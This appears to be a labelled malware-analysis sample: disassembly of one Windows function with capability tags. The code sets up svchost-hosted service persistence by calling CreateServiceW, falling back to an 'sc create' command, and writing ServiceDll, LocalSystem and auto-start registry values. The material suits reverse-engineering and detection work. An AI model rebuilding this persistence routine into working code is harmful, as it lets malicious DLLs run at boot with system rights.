Function at 0x4080e0
Capabilities:
Create process on windows
Create service
Persist via windows service
Print debug messages
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4424e1
mov eax, dword fs:[0]
push eax
sub esp, 0x2d8
mov eax, dword [0x4513a8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x14], 0
push str._SystemRoot_System32_svchost.exe__k
lea ecx, [ebp - 0x30]
call fcn.0040a290
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x2e4]
add eax, 0x12c
push eax
lea ecx, [ebp - 0x30]
call fcn.0040a330
lea ecx, [ebp + 8]
push ecx
lea ecx, [ebp - 0x4c]
call fcn.0040a240
mov byte [ebp - 4], 2
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jne 0x4081b3
push 0x44b8d4
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x4c]
call fcn.0040a2d0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.0040a2d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.0040a2d0
jmp 0x408637
push 0
push 0
push 0
push 0
push str.COM_Infrastructure
lea ecx, [ebp - 0x30]
call fcn.0040a370
push eax
push 1
push 2
push 0x20
push 0xf01ff
mov ecx, dword [ebp - 0x2e4]
add ecx, 0x12c
call fcn.0040a370
push eax
mov ecx, dword [ebp - 0x2e4]
add ecx, 0x12c
call fcn.0040a370
push eax
mov edx, dword [ebp - 0x88]
push edx
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4083eb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x2dc], eax
push str.CreateService_error_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push str.________uese_sc_create_service__________________
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov word [ebp - 0x29c], 0
push 0x208
push 0
lea eax, [ebp - 0x29a]
push eax
call fcn.00421260
add esp, 0xc
mov dword [ebp - 0x2a0], 0
push 0x104
lea ecx, [ebp - 0x29c]
push ecx
push str._SystemRoot_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov dword [ebp - 0x2a0], eax
lea edx, [ebp - 0x29c]
push edx
lea ecx, [ebp - 0x2d8]
call fcn.0040a290
mov byte [ebp - 4], 3
push str.create
lea ecx, [ebp - 0x2bc]
call fcn.0040a290
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x2e4]
add eax, 0x12c
push eax
lea ecx, [ebp - 0x2bc]
call fcn.0040a330
push str._binPath__
lea ecx, [ebp - 0x2bc]
call fcn.0040a350
lea ecx, [ebp - 0x29c]
push ecx
lea ecx, [ebp - 0x2bc]
call fcn.0040a350
push str.System32_svchost.exe__k
lea ecx, [ebp - 0x2bc]
call fcn.0040a350
mov edx, dword [ebp - 0x2e4]
add edx, 0x12c
push edx
lea ecx, [ebp - 0x2bc]
call fcn.0040a330
push 0x44ba34
lea ecx, [ebp - 0x2bc]
call fcn.0040a350
push str.start__auto_
lea ecx, [ebp - 0x2bc]
call fcn.0040a350
push str.group__COM_Infrastructure_
lea ecx, [ebp - 0x2bc]
call fcn.0040a350
push str.type__share_
lea ecx, [ebp - 0x2bc]
call fcn.0040a350
push str.displayName__
lea ecx, [ebp - 0x2bc]
call fcn.0040a350
mov eax, dword [ebp - 0x2e4]
add eax, 0x12c
push eax
lea ecx, [ebp - 0x2bc]
call fcn.0040a330
push 0x44bad8
lea ecx, [ebp - 0x2bc]
call fcn.0040a350
push str.tag__no_
lea ecx, [ebp - 0x2bc]
call fcn.0040a350
push 0
push 0x44baf4
lea ecx, [ebp - 0x2bc]
call fcn.0040a370
push eax
push 0x44baf8
push 0x44bb08
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x2e0], eax
mov ecx, dword [ebp - 0x2e4]
mov dword [ecx + 0x128], 1
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2bc]
call fcn.0040a2d0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2d8]
call fcn.0040a2d0
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x88]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0x2e4]
add ecx, 0x12c
push ecx
lea ecx, [ebp - 0x68]
call fcn.0040a240
mov byte [ebp - 4], 5
push 0x44bb14
lea ecx, [ebp - 0x68]
call fcn.0040a350
lea ecx, [ebp - 0x68]
call fcn.0040a370
push eax
mov ecx, dword [ebp - 0x2e4]
add ecx, 0x12c
call fcn.0040a370
push eax
push 7
push 0x44bb20
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.004127b0
add esp, 0x14
push 0x44bb90
lea ecx, [ebp - 0x84]
call fcn.0040a290
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x2e4]
add edx, 0x12c
push edx
lea ecx, [ebp - 0x84]
call fcn.0040a330
lea ecx, [ebp - 0x30]
call fcn.0040a370
push eax
push str.ImagePath
push 2
lea ecx, [ebp - 0x84]
call fcn.0040a370
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.004127b0
add esp, 0x14
mov ecx, dword [ebp - 0x2e4]
add ecx, 0x12c
call fcn.0040a370
push eax
push str.DisplayName
push 1
lea ecx, [ebp - 0x84]
call fcn.0040a370
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.004127b0
add esp, 0x14
mov ecx, dword [ebp - 0x2e4]
add ecx, 0x12c
call fcn.0040a370
push eax
push str.Description
push 1
lea ecx, [ebp - 0x84]
call fcn.0040a370
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.004127b0
add esp, 0x14
push str.LocalSystem
push str.ObjectName
push 1
lea ecx, [ebp - 0x84]
call fcn.0040a370
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.004127b0
add esp, 0x14
push 1
push str.ErrorControl
lea ecx, [ebp - 0x84]
call fcn.0040a370
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00412830
add esp, 0x10
push 2
push str.Start
lea ecx, [ebp - 0x84]
call fcn.0040a370
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00412830
add esp, 0x10
push 0x20
push str.Type
lea ecx, [ebp - 0x84]
call fcn.0040a370
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00412830
add esp, 0x10
push 0x44bc80
lea ecx, [ebp - 0x84]
call fcn.0040a310
mov eax, dword [ebp - 0x2e4]
add eax, 0x12c
push eax
lea ecx, [ebp - 0x84]
call fcn.0040a330
push 0x44bcc8
lea ecx, [ebp - 0x84]
call fcn.0040a350
lea ecx, [ebp - 0x4c]
call fcn.0040a370
push eax
push str.ServiceDll
push 2
lea ecx, [ebp - 0x84]
call fcn.0040a370
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.004127b0
add esp, 0x14
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x84]
call fcn.0040a2d0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x68]
call fcn.0040a2d0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x4c]
call fcn.0040a2d0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.0040a2d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.0040a2d0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004208a1
mov esp, ebp
pop ebp
ret 0x1c